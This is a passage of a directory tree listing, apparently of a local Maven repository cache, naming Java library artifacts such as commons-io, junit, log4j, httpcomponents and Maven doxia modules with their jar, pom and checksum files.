commons-io/ │ │ │ │ ├── 1.4/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── commons-io-1.4.jar │ │ │ │ │ ├── commons-io-1.4.jar.sha1 │ │ │ │ │ ├── commons-io-1.4.pom │ │ │ │ │ └── commons-io-1.4.pom.sha1 │ │ │ │ └── 2.5/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── commons-io-2.5.jar │ │ │ │ ├── commons-io-2.5.jar.sha1 │ │ │ │ ├── commons-io-2.5.pom │ │ │ │ └── commons-io-2.5.pom.sha1 │ │ │ ├── commons-lang/ │ │ │ │ └── commons-lang/ │ │ │ │ ├── 2.1/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── commons-lang-2.1.pom │ │ │ │ │ └── commons-lang-2.1.pom.sha1 │ │ │ │ ├── 2.4/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── commons-lang-2.4.pom │ │ │ │ │ └── commons-lang-2.4.pom.sha1 │ │ │ │ └── 2.5/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── commons-lang-2.5.jar │ │ │ │ ├── commons-lang-2.5.jar.sha1 │ │ │ │ ├── commons-lang-2.5.pom │ │ │ │ └── commons-lang-2.5.pom.sha1 │ │ │ ├── commons-logging/ │ │ │ │ ├── commons-logging/ │ │ │ │ │ ├── 1.0/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── commons-logging-1.0.pom │ │ │ │ │ │ └── commons-logging-1.0.pom.sha1 │ │ │ │ │ ├── 1.0.3/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── commons-logging-1.0.3.pom │ │ │ │ │ │ └── commons-logging-1.0.3.pom.sha1 │ │ │ │ │ ├── 1.0.4/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── commons-logging-1.0.4.pom │ │ │ │ │ │ └── commons-logging-1.0.4.pom.sha1 │ │ │ │ │ ├── 1.1/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── commons-logging-1.1.pom │ │ │ │ │ │ └── commons-logging-1.1.pom.sha1 │ │ │ │ │ ├── 1.1.1/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── commons-logging-1.1.1.jar │ │ │ │ │ │ ├── commons-logging-1.1.1.jar.sha1 │ │ │ │ │ │ ├── commons-logging-1.1.1.pom │ │ │ │ │ │ └── commons-logging-1.1.1.pom.sha1 │ │ │ │ │ └── 1.2/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── commons-logging-1.2.jar │ │ │ │ │ ├── commons-logging-1.2.jar.sha1 │ │ │ │ │ ├── commons-logging-1.2.pom │ │ │ │ │ └── commons-logging-1.2.pom.sha1 │ │ │ │ └── commons-logging-api/ │ │ │ │ └── 1.1/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── commons-logging-api-1.1.jar │ │ │ │ ├── commons-logging-api-1.1.jar.sha1 │ │ │ │ ├── commons-logging-api-1.1.pom │ │ │ │ └── commons-logging-api-1.1.pom.sha1 │ │ │ ├── commons-pool/ │ │ │ │ └── commons-pool/ │ │ │ │ └── 1.5.4/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── commons-pool-1.5.4.jar │ │ │ │ ├── commons-pool-1.5.4.jar.sha1 │ │ │ │ ├── commons-pool-1.5.4.pom │ │ │ │ └── commons-pool-1.5.4.pom.sha1 │ │ │ ├── commons-validator/ │ │ │ │ └── commons-validator/ │ │ │ │ └── 1.3.1/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── commons-validator-1.3.1.jar │ │ │ │ ├── commons-validator-1.3.1.jar.sha1 │ │ │ │ ├── commons-validator-1.3.1.pom │ │ │ │ └── commons-validator-1.3.1.pom.sha1 │ │ │ ├── dom4j/ │ │ │ │ └── dom4j/ │ │ │ │ └── 1.1/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── dom4j-1.1.jar │ │ │ │ ├── dom4j-1.1.jar.sha1 │ │ │ │ ├── dom4j-1.1.pom │ │ │ │ └── dom4j-1.1.pom.sha1 │ │ │ ├── javax/ │ │ │ │ ├── activation/ │ │ │ │ │ └── activation/ │ │ │ │ │ └── 1.1/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── activation-1.1.jar │ │ │ │ │ ├── activation-1.1.jar.sha1 │ │ │ │ │ ├── activation-1.1.pom │ │ │ │ │ └── activation-1.1.pom.sha1 │ │ │ │ ├── mail/ │ │ │ │ │ └── mail/ │ │ │ │ │ └── 1.4.7/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── mail-1.4.7.jar │ │ │ │ │ ├── mail-1.4.7.jar.sha1 │ │ │ │ │ ├── mail-1.4.7.pom │ │ │ │ │ └── mail-1.4.7.pom.sha1 │ │ │ │ └── servlet/ │ │ │ │ ├── javax.servlet-api/ │ │ │ │ │ └── 3.0.1/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── javax.servlet-api-3.0.1.jar │ │ │ │ │ ├── javax.servlet-api-3.0.1.jar.sha1 │ │ │ │ │ ├── javax.servlet-api-3.0.1.pom │ │ │ │ │ └── javax.servlet-api-3.0.1.pom.sha1 │ │ │ │ └── servlet-api/ │ │ │ │ ├── 2.3/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── servlet-api-2.3.pom │ │ │ │ │ └── servlet-api-2.3.pom.sha1 │ │ │ │ ├── 2.5/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── servlet-api-2.5.jar │ │ │ │ │ ├── servlet-api-2.5.jar.sha1 │ │ │ │ │ ├── servlet-api-2.5.pom │ │ │ │ │ └── servlet-api-2.5.pom.sha1 │ │ │ │ └── 3.0-alpha-1/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── servlet-api-3.0-alpha-1.jar │ │ │ │ ├── servlet-api-3.0-alpha-1.jar.sha1 │ │ │ │ ├── servlet-api-3.0-alpha-1.pom │ │ │ │ └── servlet-api-3.0-alpha-1.pom.sha1 │ │ │ ├── jstl/ │ │ │ │ └── jstl/ │ │ │ │ └── 1.2/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── jstl-1.2.jar │ │ │ │ ├── jstl-1.2.jar.sha1 │ │ │ │ ├── jstl-1.2.pom │ │ │ │ └── jstl-1.2.pom.sha1 │ │ │ ├── junit/ │ │ │ │ └── junit/ │ │ │ │ ├── 3.8.1/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── junit-3.8.1.jar │ │ │ │ │ ├── junit-3.8.1.jar.sha1 │ │ │ │ │ ├── junit-3.8.1.pom │ │ │ │ │ └── junit-3.8.1.pom.sha1 │ │ │ │ ├── 3.8.2/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── junit-3.8.2.jar │ │ │ │ │ ├── junit-3.8.2.jar.sha1 │ │ │ │ │ ├── junit-3.8.2.pom │ │ │ │ │ └── junit-3.8.2.pom.sha1 │ │ │ │ ├── 4.10/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── junit-4.10.jar │ │ │ │ │ ├── junit-4.10.jar.sha1 │ │ │ │ │ ├── junit-4.10.pom │ │ │ │ │ └── junit-4.10.pom.sha1 │ │ │ │ └── 4.9/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── junit-4.9.jar │ │ │ │ ├── junit-4.9.jar.sha1 │ │ │ │ ├── junit-4.9.pom │ │ │ │ └── junit-4.9.pom.sha1 │ │ │ ├── log4j/ │ │ │ │ └── log4j/ │ │ │ │ └── 1.2.12/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── log4j-1.2.12.jar │ │ │ │ ├── log4j-1.2.12.jar.sha1 │ │ │ │ ├── log4j-1.2.12.pom │ │ │ │ └── log4j-1.2.12.pom.sha1 │ │ │ ├── logkit/ │ │ │ │ └── logkit/ │ │ │ │ └── 1.0.1/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── logkit-1.0.1.pom │ │ │ │ └── logkit-1.0.1.pom.sha1 │ │ │ ├── mysql/ │ │ │ │ └── mysql-connector-java/ │ │ │ │ └── 5.1.29/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── mysql-connector-java-5.1.29.jar │ │ │ │ ├── mysql-connector-java-5.1.29.jar.sha1 │ │ │ │ ├── mysql-connector-java-5.1.29.pom │ │ │ │ └── mysql-connector-java-5.1.29.pom.sha1 │ │ │ ├── net/ │ │ │ │ ├── coobird/ │ │ │ │ │ └── thumbnailator/ │ │ │ │ │ └── 0.4.8/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── thumbnailator-0.4.8.jar │ │ │ │ │ ├── thumbnailator-0.4.8.jar.sha1 │ │ │ │ │ ├── thumbnailator-0.4.8.pom │ │ │ │ │ └── thumbnailator-0.4.8.pom.sha1 │ │ │ │ └── java/ │ │ │ │ └── jvnet-parent/ │ │ │ │ └── 1/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── jvnet-parent-1.pom │ │ │ │ └── jvnet-parent-1.pom.sha1 │ │ │ ├── org/ │ │ │ │ ├── apache/ │ │ │ │ │ ├── apache/ │ │ │ │ │ │ ├── 10/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── apache-10.pom │ │ │ │ │ │ │ └── apache-10.pom.sha1 │ │ │ │ │ │ ├── 11/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── apache-11.pom │ │ │ │ │ │ │ └── apache-11.pom.sha1 │ │ │ │ │ │ ├── 13/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── apache-13.pom │ │ │ │ │ │ │ └── apache-13.pom.sha1 │ │ │ │ │ │ ├── 14/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── apache-14.pom │ │ │ │ │ │ │ └── apache-14.pom.sha1 │ │ │ │ │ │ ├── 15/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── apache-15.pom │ │ │ │ │ │ │ └── apache-15.pom.sha1 │ │ │ │ │ │ ├── 16/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── apache-16.pom │ │ │ │ │ │ │ └── apache-16.pom.sha1 │ │ │ │ │ │ ├── 2/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── apache-2.pom │ │ │ │ │ │ │ └── apache-2.pom.sha1 │ │ │ │ │ │ ├── 3/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── apache-3.pom │ │ │ │ │ │ │ └── apache-3.pom.sha1 │ │ │ │ │ │ ├── 4/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── apache-4.pom │ │ │ │ │ │ │ └── apache-4.pom.sha1 │ │ │ │ │ │ ├── 5/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── apache-5.pom │ │ │ │ │ │ │ └── apache-5.pom.sha1 │ │ │ │ │ │ ├── 6/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── apache-6.pom │ │ │ │ │ │ │ └── apache-6.pom.sha1 │ │ │ │ │ │ ├── 7/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── apache-7.pom │ │ │ │ │ │ │ └── apache-7.pom.sha1 │ │ │ │ │ │ └── 9/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── apache-9.pom │ │ │ │ │ │ └── apache-9.pom.sha1 │ │ │ │ │ ├── commons/ │ │ │ │ │ │ ├── commons-collections4/ │ │ │ │ │ │ │ └── 4.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── commons-collections4-4.1.jar │ │ │ │ │ │ │ ├── commons-collections4-4.1.jar.sha1 │ │ │ │ │ │ │ ├── commons-collections4-4.1.pom │ │ │ │ │ │ │ └── commons-collections4-4.1.pom.sha1 │ │ │ │ │ │ ├── commons-lang3/ │ │ │ │ │ │ │ └── 3.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── commons-lang3-3.1.jar │ │ │ │ │ │ │ ├── commons-lang3-3.1.jar.sha1 │ │ │ │ │ │ │ ├── commons-lang3-3.1.pom │ │ │ │ │ │ │ └── commons-lang3-3.1.pom.sha1 │ │ │ │ │ │ └── commons-parent/ │ │ │ │ │ │ ├── 11/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── commons-parent-11.pom │ │ │ │ │ │ │ └── commons-parent-11.pom.sha1 │ │ │ │ │ │ ├── 12/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── commons-parent-12.pom │ │ │ │ │ │ │ └── commons-parent-12.pom.sha1 │ │ │ │ │ │ ├── 14/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── commons-parent-14.pom │ │ │ │ │ │ │ └── commons-parent-14.pom.sha1 │ │ │ │ │ │ ├── 22/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── commons-parent-22.pom │ │ │ │ │ │ │ └── commons-parent-22.pom.sha1 │ │ │ │ │ │ ├── 32/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── commons-parent-32.pom │ │ │ │ │ │ │ └── commons-parent-32.pom.sha1 │ │ │ │ │ │ ├── 34/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── commons-parent-34.pom │ │ │ │ │ │ │ └── commons-parent-34.pom.sha1 │ │ │ │ │ │ ├── 35/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── commons-parent-35.pom │ │ │ │ │ │ │ └── commons-parent-35.pom.sha1 │ │ │ │ │ │ ├── 38/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── commons-parent-38.pom │ │ │ │ │ │ │ └── commons-parent-38.pom.sha1 │ │ │ │ │ │ ├── 39/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── commons-parent-39.pom │ │ │ │ │ │ │ └── commons-parent-39.pom.sha1 │ │ │ │ │ │ ├── 5/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── commons-parent-5.pom │ │ │ │ │ │ │ └── commons-parent-5.pom.sha1 │ │ │ │ │ │ ├── 7/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── commons-parent-7.pom │ │ │ │ │ │ │ └── commons-parent-7.pom.sha1 │ │ │ │ │ │ └── 9/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── commons-parent-9.pom │ │ │ │ │ │ └── commons-parent-9.pom.sha1 │ │ │ │ │ ├── httpcomponents/ │ │ │ │ │ │ ├── httpclient/ │ │ │ │ │ │ │ └── 4.0.2/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── httpclient-4.0.2.jar │ │ │ │ │ │ │ ├── httpclient-4.0.2.jar.sha1 │ │ │ │ │ │ │ ├── httpclient-4.0.2.pom │ │ │ │ │ │ │ └── httpclient-4.0.2.pom.sha1 │ │ │ │ │ │ ├── httpcomponents-client/ │ │ │ │ │ │ │ └── 4.0.2/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── httpcomponents-client-4.0.2.pom │ │ │ │ │ │ │ └── httpcomponents-client-4.0.2.pom.sha1 │ │ │ │ │ │ ├── httpcomponents-core/ │ │ │ │ │ │ │ └── 4.0.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── httpcomponents-core-4.0.1.pom │ │ │ │ │ │ │ └── httpcomponents-core-4.0.1.pom.sha1 │ │ │ │ │ │ ├── httpcore/ │ │ │ │ │ │ │ └── 4.0.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── httpcore-4.0.1.jar │ │ │ │ │ │ │ ├── httpcore-4.0.1.jar.sha1 │ │ │ │ │ │ │ ├── httpcore-4.0.1.pom │ │ │ │ │ │ │ └── httpcore-4.0.1.pom.sha1 │ │ │ │ │ │ └── project/ │ │ │ │ │ │ ├── 4.0/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── project-4.0.pom │ │ │ │ │ │ │ └── project-4.0.pom.sha1 │ │ │ │ │ │ └── 4.1/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── project-4.1.pom │ │ │ │ │ │ └── project-4.1.pom.sha1 │ │ │ │ │ ├── maven/ │ │ │ │ │ │ ├── doxia/ │ │ │ │ │ │ │ ├── doxia/ │ │ │ │ │ │ │ │ ├── 1.0/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── doxia-1.0.pom │ │ │ │ │ │ │ │ │ └── doxia-1.0.pom.sha1 │ │ │ │ │ │ │ │ ├── 1.0-alpha-7/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── doxia-1.0-alpha-7.pom │ │ │ │ │ │ │ │ │ └── doxia-1.0-alpha-7.pom.sha1 │ │ │ │ │ │ │ │ ├── 1.1/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── doxia-1.1.pom │ │ │ │ │ │ │ │ │ └── doxia-1.1.pom.sha1 │ │ │ │ │ │ │ │ ├── 1.3/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── doxia-1.3.pom │ │ │ │ │ │ │ │ │ └── doxia-1.3.pom.sha1 │ │ │ │ │ │ │ │ └── 1.4/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── doxia-1.4.pom │ │ │ │ │ │ │ │ └── doxia-1.4.pom.sha1 │ │ │ │ │ │ │ ├── doxia-core/ │ │ │ │ │ │ │ │ └── 1.4/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── doxia-core-1.4.jar │ │ │ │ │ │ │ │ ├── doxia-core-1.4.jar.sha1 │ │ │ │ │ │ │ │ ├── doxia-core-1.4.pom │ │ │ │ │ │ │ │ └── doxia-core-1.4.pom.sha1 │ │ │ │ │ │ │ ├── doxia-decoration-model/ │ │ │ │ │ │ │ │ ├── 1.3/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── doxia-decoration-model-1.3.pom │ │ │ │ │ │ │ │ │ └── doxia-decoration-model-1.3.pom.sha1 │ │ │ │ │ │ │ │ └── 1.4/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── doxia-decoration-model-1.4.jar │ │ │ │ │ │ │ │ ├── doxia-decoration-model-1.4.jar.sha1 │ │ │ │ │ │ │ │ ├── doxia-decoration-model-1.4.pom │ │ │ │ │ │ │ │ └── doxia-decoration-model-1.4.pom.sha1 │ │ │ │ │ │ │ ├── doxia-integration-tools/ │ │ │ │ │ │ │ │ └── 1.5/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── doxia-integration-tools-1.5.jar │ │ │ │ │ │ │ │ ├── doxia-integration-tools-1.5.jar.sha1 │ │ │ │ │ │ │ │ ├── doxia-integration-tools-1.5.pom │ │ │ │ │ │ │ │ └── doxia-integration-tools-1.5.pom.sha1 │ │ │ │ │ │ │ ├── doxia-logging-api/ │ │ │ │ │ │ │ │ ├── 1.1/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── doxia-logging-api-1.1.pom │ │ │ │ │ │ │ │ │ └── doxia-logging-api-1.1.pom.sha1 │ │ │ │ │ │ │ │ ├── 1.3/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── doxia-logging-api-1.3.pom │ │ │ │ │ │ │ │ │ └── doxia-logging-api-1.3.pom.sha1 │ │ │ │ │ │ │ │ └── 1.4/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── doxia-logging-api-1.4.jar │ │ │ │ │ │ │ │ ├── doxia-logging-api-1.4.jar.sha1 │ │ │ │ │ │ │ │ ├── doxia-logging-api-1.4.pom │ │ │ │ │ │ │ │ └── doxia-logging-api-1.4.pom.sha1 │ │ │ │ │ │ │ ├── doxia-module-apt/ │ │ │ │ │ │ │ │ └── 1.4/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── doxia-module-apt-1.4.jar │ │ │ │ │ │ │ │ ├── doxia-module-apt-1.4.jar.sha1 │ │ │ │ │ │ │ │ ├── doxia-module-apt-1.4.pom │ │ │ │ │ │ │ │ └── doxia-module-apt-1.4.pom.sha1 │ │ │ │ │ │ │ ├── doxia-module-fml/ │ │ │ │ │ │ │ │ └── 1.4/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── doxia-module-fml-1.4.jar │ │ │ │ │ │ │ │ ├── doxia-module-fml-1.4.jar.sha1 │ │ │ │ │ │ │ │ ├── doxia-module-fml-1.4.pom │ │ │ │ │ │ │ │ └── doxia-module-fml-1.4.pom.sha1 │ │ │ │ │ │ │ ├── doxia-module-markdown/ │ │ │ │ │ │ │ │ └── 1.4/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── doxia-module-markdown-1.4.jar │ │ │ │ │ │ │ │ ├── doxia-module-markdown-1.4.jar.sha1 │ │ │ │ │ │ │ │ ├── doxia-module-markdown-1.4.pom │ │ │ │ │ │ │ │ └── doxia-module-markdown-1.4.pom.sha1 │ │ │ │ │ │ │ ├── doxia-module-xdoc/ │ │ │ │ │ │ │ │ └── 1.4/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── doxia-module-xdoc-1.4.jar │ │ │ │ │ │ │ │ ├── doxia-module-xdoc-1.4.jar.sha1 │ │ │ │ │ │ │ │ ├── doxia-module-xdoc-1.4.pom │ │ │ │ │ │ │ │ └── doxia-module-xdoc-1.4.pom.sha1 │ │ │ │ │ │ │ ├── doxia-module-xhtml/ │ │ │ │ │ │ │ │ └── 1.4/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── doxia-module-xhtml-1.4.jar │ │ │ │ │ │ │ │ ├── doxia-module-xhtml-1.4.jar.sha1 │ │ │ │ │ │ │ │ ├── doxia-module-xhtml-1.4.pom │ │ │ │ │ │ │ │ └── doxia-module-xhtml-1.4.pom.sha1 │ │ │ │ │ │ │ ├── doxia-modules/ │ │ │ │ │ │ │ │ └── 1.4/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── doxia-modules-1.4.pom │ │ │ │ │ │ │ │ └── doxia-modules-1.4.pom.sha1 │ │ │ │ │ │ │ ├── doxia-sink-api/ │ │ │ │ │ │ │ │ ├── 1.0/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── doxia-sink-api-1.0.pom │ │ │ │ │ │ │ │ │ └── doxia-sink-api-1.0.pom.sha1 │ │ │ │ │ │ │ │ ├── 1.0-alpha-7/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── doxia-sink-api-1.0-alpha-7.jar │ │ │ │ │ │ │ │ │ ├── doxia-sink-api-1.0-alpha-7.jar.sha1 │ │ │ │ │ │ │ │ │ ├── doxia-sink-api-1.0-alpha-7.pom │ │ │ │ │ │ │ │ │ └── doxia-sink-api-1.0-alpha-7.pom.sha1 │ │ │ │ │ │ │ │ ├── 1.1/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── doxia-sink-api-1.1.pom │ │ │ │ │ │ │ │ │ └── doxia-sink-api-1.1.pom.sha1 │ │ │ │ │ │ │ │ └── 1.4/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── doxia-sink-api-1.4.jar │ │ │ │ │ │ │ │ ├── doxia-sink-api-1.4.jar.sha1 │ │ │ │ │ │ │ │ ├── doxia-sink-api-1.4.pom │ │ │ │ │ │ │ │ └── doxia-sink-api-1.4.pom.sha1 │ │ │ │ │ │ │ ├── doxia-site-renderer/ │ │ │ │ │ │ │ │ └── 1.4/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── doxia-site-renderer-1.4.jar │ │ │ │ │ │ │ │ ├── doxia-site-renderer-1.4.jar.sha1 │ │ │ │ │ │ │ │ ├── doxia-site-renderer-1.4.pom │ │ │ │ │ │ │ │ └── doxia-site-renderer-1.4.pom.sha1 │ │ │ │ │ │ │ ├── doxia-sitetools/ │ │ │ │ │ │ │ │ ├── 1.3/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── doxia-sitetools-1.3.pom │ │ │ │ │ │ │ │ │ └── doxia-sitetools-1.3.pom.sha1 │ │ │ │ │ │ │ │ └── 1.4/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── doxia-sitetools-1.4.pom │ │ │ │ │ │ │ │ └── doxia-sitetools-1.4.pom.sha1 │ │ │ │ │ │ │ └── doxia-tools/ │ │ │ │ │ │ │ └── 2/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── doxia-tools-2.pom │ │ │ │ │ │ │ └── doxia-tools-2.pom.sha1 │ │ │ │ │ │ ├── maven/ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-2.0.6.pom │ │ │ │ │ │ │ │ └── maven-2.0.6.pom.sha1 │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-2.0.9.pom.sha1 │ │ │ │ │ │ │ ├── 2.2.1/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-2.2.1.pom │ │ │ │ │ │ │ │ └── maven-2.2.1.pom.sha1 │ │ │ │ │ │ │ └── 3.0/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-3.0.pom │ │ │ │ │ │ │ └── maven-3.0.pom.sha1 │ │ │ │ │ │ ├── maven-aether-provider/ │ │ │ │ │ │ │ └── 3.0/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-aether-provider-3.0.jar │ │ │ │ │ │ │ ├── maven-aether-provider-3.0.jar.sha1 │ │ │ │ │ │ │ ├── maven-aether-provider-3.0.pom │ │ │ │ │ │ │ └── maven-aether-provider-3.0.pom.sha1 │ │ │ │ │ │ ├── maven-archiver/ │ │ │ │ │ │ │ ├── 2.4.2/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-archiver-2.4.2.jar │ │ │ │ │ │ │ │ ├── maven-archiver-2.4.2.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-archiver-2.4.2.pom │ │ │ │ │ │ │ │ └── maven-archiver-2.4.2.pom.sha1 │ │ │ │ │ │ │ └── 2.5/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-archiver-2.5.jar │ │ │ │ │ │ │ ├── maven-archiver-2.5.jar.sha1 │ │ │ │ │ │ │ ├── maven-archiver-2.5.pom │ │ │ │ │ │ │ └── maven-archiver-2.5.pom.sha1 │ │ │ │ │ │ ├── maven-artifact/ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-artifact-2.0.6.jar │ │ │ │ │ │ │ │ ├── maven-artifact-2.0.6.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-artifact-2.0.6.pom │ │ │ │ │ │ │ │ └── maven-artifact-2.0.6.pom.sha1 │ │ │ │ │ │ │ ├── 2.0.9/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-artifact-2.0.9.jar │ │ │ │ │ │ │ │ ├── maven-artifact-2.0.9.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-artifact-2.0.9.pom │ │ │ │ │ │ │ │ └── maven-artifact-2.0.9.pom.sha1 │ │ │ │ │ │ │ ├── 2.2.1/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-artifact-2.2.1.jar │ │ │ │ │ │ │ │ ├── maven-artifact-2.2.1.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-artifact-2.2.1.pom │ │ │ │ │ │ │ │ └── maven-artifact-2.2.1.pom.sha1 │ │ │ │ │ │ │ └── 3.0/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-artifact-3.0.jar │ │ │ │ │ │ │ ├── maven-artifact-3.0.jar.sha1 │ │ │ │ │ │ │ ├── maven-artifact-3.0.pom │ │ │ │ │ │ │ └── maven-artifact-3.0.pom.sha1 │ │ │ │ │ │ ├── maven-artifact-manager/ │ │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-artifact-manager-2.0.6.jar │ │ │ │ │ │ │ │ ├── maven-artifact-manager-2.0.6.jar.sha1 │ │ │ │ │ │ │ │ ├── 